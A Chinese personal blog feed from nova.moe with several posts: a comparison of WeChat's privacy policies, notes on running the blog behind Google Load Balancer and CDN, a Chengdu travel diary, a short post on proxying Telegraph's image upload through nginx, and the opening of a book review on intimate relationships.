简单来说,你的数据取决于你注册微信时的手机号和所使用的软件版本,出于方便理解起见,我画了个图:

个人信息的使用期限

在 「微信隐私保护指引」中:

一般而言,我们仅为实现目的所必需的最短时间保留您的个人信息。但在下列情况下,我们有可能因需符合法律要求,更改个人信息的存储时间:

为遵守适用的法律法规等有关规定;
为遵守法院判决、裁定或其他法律程序的规定;
为遵守相关政府机关或法定授权组织的要求;
我们有理由确信需要遵守法律法规等有关规定;
为执行相关服务协议或本政策、维护社会公共利益,为保护们的客户、我们或我们的关联公司、其他用户或雇员的人身财产安全或其他合法权益所合理必需的用途。

当我们的产品或服务发生停止运营的情形时,我们将采取例如,推送通知、公告等形式通知您,并在合理的期限内删除或匿名化处理您的个人信息。

但是具体是多久,并没有说明,类似的问题在国内许多 APP 上都有体现,可以参考「个人信息保存时间的标准不明确或不合理,存储地域未告知」。

在「WeChat 隐私保护概述」中,则写的详细很多:

信息类型 保留期限
注册信息:你的名字、用户昵称、密码、性别、IP地址 直到您指示WeChat删除您的帐户或未登录时间到达 180 天。您的帐户将于验证帐户所有权与帐户删除请求后的 60 天内永久删除。
注册信息:用于注册微信账号的手机号码、QQ、Facebook、Google或邮箱帐户 直到您指示WeChat删除您的帐户或未登录时间到达 180 天。您的帐户将于验证帐户所有权与帐户删除请求后的 60 天内永久删除。微信账号删除后,将保留聚合注册信息,以防止垃圾邮件,保障系统安全。
登录数据 自登录之日起,信息保留 3 个月。
用户个人资料搜索数据 直到您请求删除或修订个人信息,或者您的帐户被删除,以两者中时间较早的为准。
个人信息(所有用户均可查看) 直到您请求删除或修订个人信息,或者您的帐户被删除,以两者中时间较早的为准(然而,缓存在第三方服务中的数据可能仍可用)。
个人信息 - 头像(所有用户均可查看) 直到您请求删除或修订个人信息,或者您的帐户被删除,以两者中时间较早的为准(但是,若在第三方服务上缓存达60天,该信息则可能仍然存在)。
个人信息 - 名字(所有用户均可查看) 在请求移除、修改你的信息或你的微信账号删除后(以较早发生者为准),信息最多会保留60天。
其他帐户安全 直到您请求删除或修订个人信息,或者您的帐户被删除,以两者中时间较早的为准(然而,缓存在第三方服务中的数据可能仍可用)。
聊天 — 用户间的非持久性和半持久性通信 数据自相关交互开始时间起保留 120 小时,然后会被永久删除。
聊天 - 图像、视频、音频和文件等方式 数据自相关交互开始时间起保留 120 小时,然后会被永久删除。
联系人列表 直到您请求删除或修订个人信息,或者您的帐户被删除,以两者中时间较早的为准。
基于位置的服务和基于位置的媒体 数据自相关交互开始时间起保留 24 小时,然后会被永久删除。
朋友圈和收藏夹 – 数据和媒体 直到您请求删除或修订个人信息,或者您的帐户被删除,以两者中时间较早的为准(然而,缓存在第三方服务中的数据可能仍可用)。
OpenID 和 Open ID 媒体(已提供给第三方) 直到您取消关注第三方开发商的应用程序、公众号、小程序或类似程序,或者您的帐户被删除,以两者中时间较早的为准。
提供第三方产品和服务(即,您是公众号或小程序的提供商) 直到您指示WeChat删除您的帐户。您的帐户将于验证帐户所有权与帐户删除请求后的 60 天内永久删除。请注意,披露给第三方的信息由第三方控制。我们将尽合理的努力谋求他们像我们一样删除此类信息。
提供给公众号/小程序的信息 直到您指示WeChat删除您的帐户或撤销许可/取消关注此类第三方。请注意,披露给第三方的信息由第三方控制。我们将尽合理的努力谋求他们像我们一样删除此类信息。
提供给客户服务的信息 直到您指示WeChat删除您的帐户。您的帐户将于提出帐户删除请求后的 60 天内永久删除。
元数据/日志数据 数据自登录之日起保留 3 个月,然后会被永久删除。
设备数据 直到您指示WeChat删除您的帐户。您的帐户将于提出帐户删除请求后的 60 天内永久删除。
社交联系信息 直到您指示WeChat删除您的帐户或取消您的社交帐户与您的WeChat帐户的绑定。您的帐户将于提出帐户删除请求后的 60 天内永久删除。
Cookie 数据自登录之日起保留 3 个月,然后会被永久删除。

数据共享方式

在 「微信隐私保护指引」中:

目前,我们不会主动共享或转让你的个人信息至腾讯集团外的第三方,如存在其他共享或转让你的个人信息或你需要我们将你的个人信息共享或转让至腾讯集团外的第三方情形时,我们会直接或确认第三方征得你对上述行为的明示同意。

我们不会对外公开披露其收集的个人信息,如必须公开披露时,我们会向你告知此次公开披露的目的、披露信息的类型及可能涉及的敏感信息,并征得你的明示同意。

根据相关法律法规及国家标准,以下情形中,我们可能会共享、转让、公开披露个人信息无需事先征得个人信息主体的授权同意:

1) 与国家安全、国防安全直接相关的;

2) 与公共安全、公共卫生、重大公共利益直接相关的;

3) 与犯罪侦查、起诉、审判和判决执行等直接相关的;

4) 出于维护个人信息主体或其他个人的生命、财产等重大合法权益但又很难得到本人同意的;

5) 个人信息主体自行向社会公众公开的个人信息;

6) 从合法公开披露的信息中收集个人信息的,如合法的新闻报道、政府信息公开等渠道。

在「WeChat 隐私保护概述」中:

除非下文中另有规定或者您同意我们这样做,否则我们不会将您的个人信息传输给任何其他第三方。

我们会在具有法律依据和有效管辖权的选定接收方请求此类数据时与其共享您的信息。这些接收方的种类包括:

  • 政府、公共部门、监管、司法以及执法机关或机构:我们需要遵守适用法律或法规、法院命令、传票或其他法律程序,或以其他方式具有响应此类实体的数据请求的法律依据,同时请求实体具备有效管辖权才能获得您的个人信息;
  • 相关集团公司:我们会出于以下目的在我们的集团公司内共享您的个人信息,这些公司包括运行中国香港和加拿大服务器的 Tencent International Service Europe BV(在荷兰)、Tencent International Service Pte. Ltd(在新加坡)、WeChat International Pte Ltd(在新加坡)、Oriental Power Holdings Limited(在香港)和 WeChat International (Canada) Limited(在加拿大):
    • 向您提供WeChat、帮助我们实现上文"我们如何收集和处理您的信息"部分中所述的目的,以及按照《WeChat服务条款》或本隐私政策履行我们的义务和行使我们的权力;
    • 如果我们或我们的关联公司进行了内部重组,或者我们将WeChat或其任何资产卖给第三方,则后续运营WeChat的实体可能不再是我们,在这种情况下,我们会相应地转让您的信息,以便您能继续使用服务;

注销帐号的权利

在 「微信隐私保护指引」中:

6.5.1注销微信帐号

  1. 进入微信后,点击“我”;

  2. 点击“设置”;

  3. 点击“帐号与安全”;

  4. 点击“微信安全中心”;

  5. 点击“注销帐号”。

注: 当你注销帐号后,我们将删除或匿名化处理你的个人信息

在「WeChat 隐私保护概述」中:

您可以登录您的WeChat帐户并按照此处的帐户删除说明删除您的帐户,或移除某些个人信息。如果您认为我们应擦除我们所处理的任何其他个人信息,请在此处填写请求表。

在以下情况下,您可以请求我们擦除我们所持有的关于您的个人信息:

  • 您认为我们不再需要持有您的个人个信息;
  • 我们已获得您的同意可以处理您的个人信息而您撤销了这一同意(并且我们没有任何其他理由要求处理个人信息);
  • 您认为我们在对您的个人信息进行非法处理;或
  • 在我们收集您的个人信息时您未满 13 岁并且我们可以验证您的年龄。

另请注意,在我们考虑您的数据擦除请求时,您可以行使您的权利限制我们处理您的个人信息(如下文中所述)。

不过还请注意,如果我们有充分的法律依据(例如,为了就法律诉讼进行辩护、言论自由或一些其他法律义务),我们可能会保留个人信息,而如果属于这种情况,我们会通知您。

如果您已请求我们为您擦除我们已公开的个人信息且有擦除理由,则我们将采取合理步骤尝试告诉当前显示您个人信息或提供指向这些信息的链接的其他人也将其擦除。

如何分辨我们的数据在哪儿

2020-02-23 更新:感谢评论区的一些小伙伴,这里修正一下,应该会有一个或者两个链接显示,可能取决于 APP 下载渠道,之前误认为的没有显示可能是各别“全面屏”机型强制拉伸后被下方按键挡住。

不过,不同的注册号码似乎的确可以稳定复现打开不同的隐私政策。

由于变量较多,建议评论的伙伴们加入一些细节信息,比如:下载来源(国区AppStore/美区AppStore/GooglePlay/国产应用商店)、当前 APP 版本、注册号码(是否+86,是否欧盟区手机号)、目前号码。

很遗憾,除了上图以外,我们没有办法知道自己的数据属于哪一部分管理,不过这里分享一个发现的点,不一定正确,在「Wechat -> 设置 -> 隐私」页面的最下方,有两种不同的显示:

  • 显示一个链接
  • 显示两个链接(欧盟手机号注册用户)

其中,在自己和朋友的测试下,对于只显示一个链接的用户来说,如果注册时使用的 +86 号码,无论之后如何调整,点开都是「微信隐私保护指引」的内容,而 +852 注册号码点开后为「WeChat 隐私保护概述」。

热心读者"季缶"分享了一下自己的情况:

可能通过判断打开链接后是「微信隐私保护指引」还是「WeChat 隐私保护概述」比较准确一些。我的一个小号,用 +86 注册,也有两个链接;主号用 +86 注册,后换成 +1,还是两个链接。不过这些链接点开都是「微信隐私保护指引」而不是「WeChat 隐私保护概述」,语言变更与否没有影响,供参考。

我们能做什么

可以参考:

我想中国人可以更加开放,对隐私问题没有那么敏感。如果他们愿意用隐私交换便捷性,很多情况下他们是愿意的,那我们就可以用数据做一些事情。

——李彦宏

我已阅读并同意隐私政策,了解如果不输入手机号,就用不了,输入手机号则表示同意注册协议,同意注册协议则表示公司可以推送各种广告,并理解自己的数据控制权在「Tencent International Service Europe BV.」,那么,腾讯微信是否会遵守GDPR呢?

]]>
让博客变得更快——Google Load Balancer 和 Google CDN 使用小记https://nova.moe/blog-on-google-load-balancer-with-cdn/Sun, 16 Feb 2020 15:21:54 +0800https://nova.moe/blog-on-google-load-balancer-with-cdn/两周前我发了一条推:

并且将自己的博客迁移到了 Google Load Balancer 上,顺便也调整了一下博客的部署结构,先说结论——新的结构在国内环境下访问速度有较大的提升,平均延迟下降了许多(从 200ms -> 40ms),费用也有较大的提升。

在许久的一篇文章「使用 Google Cloud Platform 的 Storage 托管静态站点并通过 Google CDN 加速」中我们知道,Google 的 CDN 在大陆有着较低的延迟,但是 Google CDN 只能套在 Google Load Balancer 上用,而 Google Load Balancer 也只能用在 GCP 家产品上,这样,如果要使用 Google CDN,就必须使用 Google 的不少产品,捆绑上车。

Google Load Balancer

我们知道,业界 Load Balancer 一般有以下实现方案:

  • 一个 Anycast IP(比如 Google LB)
  • 一个普通 IP(比如 Ucloud LB)
  • 一个 CNAME 分区解析(比如 AWS ELB)

且不讨论 CNAME 那个看上去像是一个没钱 Anycast 的解决方案,而且如果用给 APEX 解析的话,在没有特殊加成(APEX FLATTEN)的情况会把 MX 记录炸穿(然后你就无法收邮件了),前者看上去是一个比较用户友好的方式,因为你只需要 A 记录到一个 IP 就可以了,绿色无害。

GFE

在了解 Google LB 之前,我们需要了解一个名词——GFE,感谢 Snowden 的 PPT,我们可以有一个直观的图示:

所有到 Google 的流量会在 GFE 上 SSL Offload(应该叫 SSL 卸载?),并且后端全部是在 Google 内网内以 HTTP 的方式进行传输。

Google Infrastructure Security Design Overview 中,我们也可以看到:

When a service wants to make itself available on the Internet, it can register itself with an infrastructure service called the Google Front End (GFE). The GFE ensures that all TLS connections are terminated using correct certificates and following best practices such as supporting perfect forward secrecy.

Google LB 也是一样,使用 GFE 作为面相用户的前端,将 SSL 流量在 GFE 上终结,然后以 HTTP 的方式回到后端的 Service 上。

使用一个统一的入口好处有很多,比如 GCP 就提供了一个统一的位置修改 SSL Policy:

可以自己选择心水的 Cipher Suite 和最低 TLS 版本等,和 Cloudflare 差不多(但是要让 Ucloud LB 做到这一点似乎就太困难了,他们基于 HAProxy 搞的 ULB 到本文发布时还不支持 TLS 1.3,而且要改 Cipher Suite 需要提工单)。

Premium IP

GCP 上的 IP 分为两种,一种是 Premium ,一种是 Standard,默认是前者,Google LB 也只能用 Premium。

Premium 使用的是冷土豆路由,所发送的数据包会保持在 Google 的内网内,并且在尽可能靠近用户的 PoP 离开。

比如,从 GCP 日本到美西的一台非 GCP 机器的路由追踪是这样的:

 1?: [LOCALHOST]                      pmtu 1460
 1:  4.68.70.161                                         105.157ms asymm 11 
 2:  no reply
 3:  ???                                                 121.825ms asymm 14 
 4:  no reply
 5:  no reply
 6:  no reply
 7:  us-east.novanetwork                                 118.394ms reached
     Resume: pmtu 1460 hops 7 back 18 

可以看到第一跳就已经到了 LEVEL3, - United States, Colorado, Louisville 的机房,之前的路由完全在 Google 内网下完成。

相比较之下 Standard 使用的热土豆路由,流量会在机房所在地丢出 Google 网络,剩下的事情走公网,也就是我们一般看到的路由追踪路径了。

SSL Certificate

说到 SSL,在「使用 Google Cloud Platform 的 Storage 托管静态站点并通过 Google CDN 加速」写作的时候,Google LB 上只支持使用自己的证书,这样对于 Let’s Encrypt 用户来说就非常不友好,因为需要每 3 个月去续一下,虽然 GCP 提供了 API 可以自助上传/更改证书,但是还是比较麻烦。

这一次,Google LB 支持 Managed Certificate,只需要创建 Cert,写上域名,将 IP 指过去,然后等小段站点完全不可用时间(20分钟左右),就可以了,证书签发机构是:Google Trust Services,最上层是 GlobalSign。

一个 IP 下最多支持 9 个 SSL 证书,考虑到 Google LB 较高的起步价(18 USD 起步)来看,多个人一起合租似乎是一个比较靠谱的选择,如果你有兴趣(且觉得本站打开速度蛮快,且希望自己的站的速度能变快,且你的服务器在日本附近)的话,欢迎来 联系 我。

哦对了,The managed SSL certificates feature is not covered by Cloud SLA。

Nginx Tune

Google LB 也是反向代理,对应的来源 IP 是 35.191.0.0/16130.211.0.0/22,所以在自己的实例上可以选择将这个两个 IP 段白名单并且禁止其余 IP 的访问,可以参考「让 Nginx 只允许 Cloudflare 反向代理流量以隐藏源站」。

除此之外,还有两个需要 Tune 的地方:

  • GFE 默认 response timeout 是 30s,所以如果有一个请求后端需要大于 30s 才能完成的话,在默认情况下会超时,但这个可以调。
  • GFE 还有一个默认为 10 分钟的不可调的 TCP session timeout,在这个 timeout 区间内 GFE 和你的后端是一个 keepalive 的长连接,而 Nginx 默认是 75s,所以如果不调整一下的话,GFE 和后端会有一部分时间浪费在建立 TCP 连接上,这里推荐让 Nginx 超时时间改为 620s,Nginx 配置文件中写法如下:keepalive_timeout 620s;

Cache Policy

Cloudflare 默认会缓存所有静态文件(比如 jpg, css, js, png, ppt),而且如果需要全部缓存的话只需要指定一个 Page Rule 就好了,而对于 Google CDN 来说,要让一个资源被缓存,需要:

  • It was served by a backend service or backend bucket with Cloud CDN enabled.
  • It is a response to a GET request.
  • Its status code is 200, 203, 206, 300, 301, 302, 307, or 410.
  • It has a Cache-Control: public header.
  • It has a Cache-Control: s-maxage, Cache-Control: max-age, or Expires header.
  • It has a Content-Length, Content-Range, or Transfer-Encoding header.
  • Its size is less than or equal to the maximum size.

好处是更加灵活了,坏处是需要手动改 Nginx,而不能像 Cloudflare 那样在后台面板上直接修改,而且 Google CDN 也没有提供一个 Purge All Cache 的选项,只能像 AWS S3 那样一个个手动 invalidation,比较原始。

Higher Performance/Price Ratio

在上面提到的文章中我们知道,如果 Google Load Balancer 的后端是 Google Storage 的话,是没有 HTTP 到 HTTPS 的重定向的,加上我博客并不是静态页面,所以就需要一个 Instance Group 作为 LB 的后端。

从性价比来说,使用 GCP 的 Instance 其实并不高,GCP 中默认创建的实例 CPU 为 Intel(R) Xeon(R) CPU @ 2.00GHz,如果你需要一个 1C,1.7G 内存的 g1-small 机器,每个月的实例费用(不包括流量)为 14.20 USD,而这个价格在 Vultr 上可以买到主频为 3.8GHz,2G 内存,64G NVMe 空间的 High Frequency Compute,在自己的 ab 测试情况下,后者的 Request per Second 可以是前者的 3 倍左右。

所以最实惠的方案似乎是在 GCP 上起一个配置一般的实例,并在 Vultr 附近可用区内创建一个 High Frequency Compute,两点通过 Wireguard 打通,并让 GCP 转发流量,这样可以做到更高的性价比,大概像这样:

Pricing

上面说了那么多,这样一套结构,在 GCP 这一侧价格大概如何呢?

Product Price(USD)
Google LB + Google CDN 18/month
GCP instance * 2 (g1-small) 28.4/month
Traffic to China 0.23/G
Traffic to US 0.14/G

Faster and Faster

切换到 Google CDN 之后,在部分同学那儿反应速度已经提升了不少,在阿里云上海机房段可以做到秒开,但是其实还是有很多可以改进的地方的。

比如博客用的 DNS,依然是 Cloudflare 的 IP,在国内普遍延迟 200ms,所以之前是 200ms 解析 + 200ms 连接的话,现在是 200ms 解析+40ms 连接,我们应该还可以更快一些,比如使用 NS1 作为 DNS 服务商(可以降到 60ms 左右),不过由于 nova.moe 域名上面有不少需要 Cloudflare 反代+缓存的内容,一时半会还没法迁移走。

Reference

  1. Network service tiers
  2. CloudFlare’s half-baked SSL: suspicious sockets layer
  3. External HTTP(S) Load Balancing overview
  4. CloudFlare & Google Cloud CDN——I T 練肖喂
]]>
西南地区游记——成都https://nova.moe/trip-to-ctu/Fri, 31 Jan 2020 23:56:44 +0000https://nova.moe/trip-to-ctu/

如果说重庆是铃木和长安的天下的话,成都应该就是瓦罐之乡了。

——Day 0 in Cheng Du

作为与重庆(几乎)接壤的一个西部城市,不过其地形和重庆相比则完全不一样,在重庆,几乎往四周任意方向看都可以看到连绵不断的山脉,而到了成都,便可以理解到 Wikipedia 上对于平原的描述:成都平原,又名川西平原,位于今中国四川省四川盆地西部,是整个中国西南地区面积最大的平原。

和之前的「大灣區遊記——香港」一样,本文也是打算记录一下自己在成都的一些新鲜见闻和有趣的事情,同时也会参杂一些对于生活的感悟。

Volkswagen Everywhere?

到了成都的第一件事就是打车去酒店,在这个过程中得出了第一个偏见——成都咋这么多瓦罐?

从城市运营,出租车的角度来看,重庆地区几乎全部采用了长安的铃木启悦作为主力车型,虽然今年加入了长安逸动 EV460 和东风某 SUV 纯电动车,但是长安车系依然居于第一地位。

相比较之下,我所见到的成都出租车几乎全部为大众捷达,甚至滴滴打到大众的概率也非常大,目前似乎一个可行的解释为一汽大众在成都有生产基地,且捷达作为几乎较便宜的三厢车,适合作为出租车的使用:

大众汽车集团(中国)目前在上海、长春、大连、南京、仪征、成都、佛山、宁波、长沙、乌鲁木齐和天津建有生产基地。

如上图,在离开酒店到达成都的「骡马市」地铁站附近后,出站就是一个瓦罐,之后滴滴也是瓦罐,出租车还是瓦罐,emmm。

POI

到一个城市旅游,我们究竟旅游的是什么,这是一个我一直在思考的问题,如果说我们如同余秋雨一样探访古迹,作为“现代人”的我来说似乎难以企及,如果说为了某些购物商场去买买买,似乎现在的物流业和购物业并不需要我们这么做,那我们旅游究竟是为了什么呢?

写到这儿,突然想到在去成都的路上的一个小插曲,由于火车经过重庆,合川等地,在到达合川站的时候,我突然意识到这个比邻重庆的小镇似乎从来没有去探访过,抱着对于给自己的生活多一点惊喜的想法,我在合川站便直接跳下了车,拖着大包小包穿梭在了一些小路之中,当然,合川也并没有让我失望,在文峰古街的江边,久违的太阳照耀着这三江交汇的地方,在江边坐在自己的行李箱上看着被风吹起漫漫波澜的湖水,从路边老人那儿买了点橘子,一遍吃,一遍思绪逐渐发散…

直到偶然看了一下手表,才发现从合川出发的火车已经快要出发,不得不集中注意力从箱子上跳起来,赶往车站。

锦里

到达成都后,通过一些搜索发现旅游景点似乎不是很多(当然,其实每个城市“旅游景点”都不会很多,倒是一些比较耐人寻味的地点需要长期生活后去慢慢品味),成都之行也并没有去过比较多的景点,只是去了几个比较热门的地方看了看人,比如——锦里,在 Wiki 上对于锦里有如下描述:

锦里,又名锦里一条街、锦里古街,是位於中國四川省成都市的一條古商業街,最早可追溯到秦漢時期。传说中锦里曾是西蜀历史上最古老、最具有商业气息的街道之一,早在秦汉、三国时期便闻名全国。锦里毗邻武侯祠,頗有古蜀國民風。現在的锦里已經被開發成一條民俗商業步行街,混合三國文化以及川西文化。

作为成都的一个代称,至少也要对得起这个城市,和大多数旅游景点一样,内部充满了各地来的游客和生意人,在许多地方都可以感受到这个地方的繁华。

不过让我印象比较深的在于这个,可能是阿拉伯的沙瓶,由一个外国老者所制作,本想买来收藏的,可惜由于空间和运输原因,并没有下手。

有一个东西在国内各地的旅游景点中都不会缺少,也就是食物,这个时候,我们需要大声说出——豆腐脑肯定是吃___(甜|咸|辣)的!

为了防止变胖,在少量的饮食之后,便继续在园区内逛了一下,拍摄了一些照片。

各地的景区可能都比较相似,但是锦里作为一个参观的地方,一部分程度上让我从另一个角度感受了旅游的乐趣——感受到不同城市的生活节奏,在《亲密关系》中,我们知道:

人们喜好新异和兴奋,过分呆板僵化的可预测性会使爱情变得平庸和单调。

由于长期在一个比较紧张的环境下学习/工作,在旅游景点中的所见所闻,第一步感受到了成都的生活气息,部分符合一个说法——慢节奏。

宽窄巷子

和锦里一样,主要是看人加吃饭,不是是什么原因,在进入宽窄巷子之后便感觉到有些胸闷,不知道是否是因为内部装修的原因还是人太多的原因。

作为一个被现代化侵蚀严重的景点,宽窄巷子中「古风建筑」并没有给我留下比较大的印象,倒是这位街头艺术家和掏耳朵的人,让我回忆到了一些多年前才能看到的世界,那个大家还没有那么功利的世界,那个大家生活都不是特别富足但是非常团结的世界。

内部也有一些类似四合院的结构,几间商店中间围着一个小水潭,可能是由于有好事者往其中丢了一些硬币的缘故,许多人在完成购物后也习惯性地丢入几个硬币,久而久之,水潭,成了一个硬币存储地。

春熙路

晚上,在不靠谱的同学的室友的朋友的推荐下,来到了春熙路,不过由于感觉到与这个地方所售之物没有眼缘,便拍了几张照片之后买了点吃的东西回到酒店休息了。

Karting

哪个男人不喜欢开车呢?无论是上海,北京,深圳,成都,重庆(啊,没有重庆),能见到卡丁车场都会让我感觉到惊喜和兴奋,在成都国际赛车场旁有一处金港赛道(不过很可惜,第二次去的时候已经被拆了)。

不过由于自己车技一般加上中途手机差点被抖出来,始终未能跑到一分钟以内,也是一大遗憾。

Karting 完后回去的路上,看到路边有一些二手车的店,内部很有「内味」,比如二手的 Focus ST,改了宽体的 86,无不刷新我对线下改车的认识。

新 世 纪 环 球 中 心

久 美 子 之 夜?

又是一个晚上,又是在不靠谱的同学的室友的朋友的推荐下,来到了环球中心,据称是 “世界上最大的单体建筑”。

新世纪环球中心结构主体长500米,宽400米,高100米,建筑面积176万平方米,落成后超越迪拜国际机场第三航厦,成为吉尼斯世界纪录大全中建筑面积最大的建筑物。

那叫一个富丽堂皇啊,进入了大楼之后很多时候都会忘记了自己已经身处建筑中,此外还有室内海滩,酒店大楼,甚至海滩附近的地下厕所可以做到完全没有信号。

当时进去玩的时候便在想,这个楼已经可以完全自治了吧,要是发生了什么恐怖事件,或者类似「后天」的场景,估计可以在这个地方生存很久。

成都的交通

上面啰啰嗦嗦写了一些成都的 POI,这里再来说说看成都的交通,先说一个比较有意思的段子:

如何判断一个人是重庆人还是成都人呢?

看他是否会骑自行车,会的是成都人,不会的是重庆人。

可能是由于地形缘故,成都的自行车非常多,重庆的自行车却非常少,少到没有非机动车道,摩托车电瓶车在人行道上四处穿梭。

例如在 IT 的重点区域——天府三街,如果运气好,起床比较早的话, 可以看到类似于如下景象:

当然,下班时间也是一样,大家都在抢自行车,整个三街水泄不通,跟着上班族一起上下班,在寒风中找自行车,走到单位楼下后买早餐,排队上楼,坐到自己工位上,唉,生活的气息呀,每天忙碌上班,是为了什么呢?

每天上班,可以让自己不至于没有钱吃饭导致饿死,但是有了收入之后,就又会被”生活的压力“推着走,买房,结婚,生子,买车,换更大的房子,终其一生,我们完成了别人的使命,如果自己有点想法想要按照别的路线走呢?

户口所在地,孩子上学需要当地户口,越来越真实的女方家庭要求,终会把你拉回现实,成为一头挨了锤的牛,每天日出而起,日落还在加班,不知是为了何。

那一天我二十一岁,在我一生的黄金时代。我有好多奢望。我想爱,想吃,还想在一瞬间变成天上半明半暗的云。后来我才知道,生活就是个缓慢受锤的过程,人一天天老下去,奢望也一天天消失,最后变得像挨了锤的牛一样。

最后回过来点评一下成都交通一个比较有意思的地方,就是道路的待行区很长,经常在一个方向直行绿灯的时候就有许多车进入了待行区,这个没啥问题,但是每到了车多的时候,另一个方向的车已经堵在路中间了,这边在进入待行区,然后直行车也会被堵上,另一边的直行车绿灯的时候也没法通过,然后另一边的车也进入了待行区,场面十分混乱,我只负责解说。

尾声

短暂的成都之旅在寒风中度过了,这一次成都之行并不只是单纯的「纯玩」,也是一次生活体验之旅,一次工作体验之旅,从中获得的感悟太多,可能已经不是这一篇文章可以说的完的了,在这次成都之旅中,也是非常感谢位于天府三街的某游戏公司给予的支持,虽然只是短短几天的时间,但是带给了我非常好的工作体验和生活感悟。

离开了成都之后,我又飞往了一了另一个陌生的城市。

可是我过二十一岁生日时没有预见到这一点。我觉得自己会永远生猛下去,什么也锤不了我。

我又会遇到谁?遇见什么样有趣的事情?这些都是未知数,但是重要的是,我没有被钉死在某一个地方,还在继续生活,还在不断感受到这个世界给我带来的生气和活力。

或许以后慢慢老去,越过山丘,才发现无人等候。喋喋不休,再也唤不回温柔。在缓慢被锤的日子里,希望还可以常回忆年少时的勇气。

]]>
利用 Telegraph 的基础设施搭建一个图床https://nova.moe/build-image-hosting-on-telegraph/Thu, 30 Jan 2020 01:00:03 +0000https://nova.moe/build-image-hosting-on-telegraph/

这大概是我写的最短的一篇博文

本来其实不值得一写的,不过感觉太好玩了决定还是放在自己的博客上记录一下,当时和好朋友 Keshane 一起玩的一个好玩的东西。

是这样的,Telegram 有一个服务叫——Telegraph,非常像许久之前和 Keshane 筹划准备做(但是由于各种原因买了个很好的域名之后又被鸽了)的应用,几个月前的某一天在和 Keshane 一起摸鱼的时候偶然发现这个站的图片上传接口是开放且非常简易的,简单来说,只要如下发一个 POST 请求到 https://telegra.ph/upload,然后带上一个 file 字段,名字叫 file 就好了,然后就可以得到类似如下返回:

[
    {
        "src": "/file/a672a2690e15c7d86435d.jpg"
    }
]

那图片地址就会是:https://telegra.ph/file/a672a2690e15c7d86435d.jpg 了,很容易是不是?

下一步的想法就非常自然了,因为 https://telegra.ph 在国内属于无法访问的情况,所以弄一个 Nginx 的反向代理就非常容易,我们简单包装一下(假设使用 i.nova.moe):

server {
        listen 80;
        server_name i.nova.moe;

 		location /intake {
                add_header Access-Control-Allow-Origin *;
                add_header Access-Control-Allow-Methods 'GET, POST, OPTIONS';
                add_header Access-Control-Allow-Headers 'DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization';

                if ($request_method = 'OPTIONS') {
                	return 204;
                }
                
                proxy_pass https://telegra.ph/upload;
        }
        location /{
                proxy_pass https://telegra.ph/file/;
        }
        client_max_body_size 5m;

}

非常简单,之前 POST 地址为 /upload ,新的 POST 地址为 i.nova.moe/intake,然后下一步就是封装一个看上去靠谱的 Web 前端了,这一点全栈工程师 Keshane 非常熟悉,加上提示了个 Dropzonejs,很快,就有了如下界面:

还能异步上传文件:

看,是不是像那么回事了?

小结

我们做了什么?

  • 一个图床
  • 没有审查

这么做有什么问题?

  • 没有审查,反向代理了整个 Telegraph 图床,如果被不法使用会有问题
  • 不友好,使用了别人的基础设施做自己的事情
  • 如果访客太多会导致服务器 IP 被 Telegraph rate limit
  • 文件最大大小为 8M 左右,受到 Telegraph 的限制

在测试 OK 之后我们便关闭了这个站点,但是这样真的很好玩不是嘛?

]]>
读书笔记——《亲密关系》https://nova.moe/book-review-intimate-relationships/Sun, 26 Jan 2020 17:06:08 +0000https://nova.moe/book-review-intimate-relationships/由于近一年前的一些事情以及断断续续所接触到的事件和人,我开始对人与人之间的亲密关系开始有了一些兴趣,不过这里所谓兴趣并不是那些某网站上那些《你为什么爱你的女朋友》之类的没有论据只有个人观点的大段文字,也厌倦了听到的一些犹如民间偏方一般的说辞,决定从一些研究者的角度来重新审视自己周遭的亲密关系,通过一些选择,我选择的是罗兰米勒的《亲密关系》,本文也是在经历好几个月利用空闲时间的缓慢阅读后结合一些自己的笔记对于一些事件的个人总结和理解。

本书适合哪些读者

个人认为,无论是否处于亲密关系中的人都可以看这本书,不过如果自己深陷“情感困境”,本书的部分相关章节也可以作为一个紧急的 Crash Course 来参考。

在开始本文前我尝试过搜索相关书评,无奈主要看到的大量的摘抄(那叫书抄)或是只言片语的评价,可能如我所认识和推荐的人一样,即使是处于亲密关系中的人也非常相信自己的「感觉」和「认知」,并对于相关的研究和实验抱有无视的态度(虽然我承认同名的另一本的确写的没啥看头),当然,也有可能是大家都“太忙”了,没有时间和毅力看的一个托词罢了,当然,对于亲密关系而言其实也是一样:「由于自我服务偏差,会使人们高估自己在人际关系中的积极作用而低估在消极关系中的损失」。

《亲密关系》吸引我的一个点在于它在很大程度上满足了一个实验求实的过程,书中作者不仅反对畅销的民科心理学《男人来自火星女人来自金星》,还在许多案例中保持了:问题/假设的得出—研究对象即参与者的选取—研究设计—场景选择—数据收集—结果整合的一个严谨的模式,此外,如果有兴趣的读者观察过书中的参考资料也会发现,每个章节都有大量的参考资料可以查阅和援引,可见所有结论的提出都并非空穴来风,同时作者给出了一个人际关系学的考察模型:

  • 经常从社会各个阶层抽取不同的人群样本
  • 考察家庭、朋友、爱情等多种不同类型的关系
  • 经常在自然状态下追踪人际关系

简单来说,远远不只是通过看一个个段子一般的主观表达带来的乐趣,而是带领读者重新思考自己周边的一些案例。

读完本书后的一些思考和认识

任何普遍的心理机制之所以以它目前的形式存在,是因为它一直在帮助人类解决过去的生存或繁殖问题。 ——《亲密关系》 P32

如 ZhiHu 某次宣传用语所说:「我们都是有问题的人」,读完本书后最大的收获就是在有实验数据支撑而非观察少量他人分享案例的情况下理解了一些之前没有想清楚过的问题,在此与大家分享:

对于「亲密关系」定义和衍生含义

在阅读本书之前,可能和大多数人一样,认为所谓的「亲密关系」就是所谓的「恋爱关系」,大家做着差不多的事情(拥抱,接吻等),但在本书中对于「亲密关系」有了一个更加多方面的理解。

【在较低收入水平的情况下】夫妻双方都参与工作的与只有单方参与工作时对于关系和家庭的影响

我们知道,中国的人口生育政策有过一个比较大的调整,虽然在 1982 年后实行了多年的计划生育政策,在许多有过农村地区生活经验的读者可能会发现许多家庭还是会生育不止一子,并在许多时候保持了一个“丈夫在外工作妻子在家带娃”的情景,撇开双方工作时对于子女的教育不谈,这里只考虑两种情况下对于家庭情况和双方关系的影响。

在本书的的第六章中引入了一个被成为 CL(comparison level)和 CL alt(comparison level for alternative)的指标,大意如下:

相互依赖理论假定每个人都有一个与众不同的比较水平(comparison level,简写为CL),即我们认为自己在与他人的交往中应当得到的结果值。CL 是建立在过去经验的基础上的。它是测量我们对关系满意程度的标准。

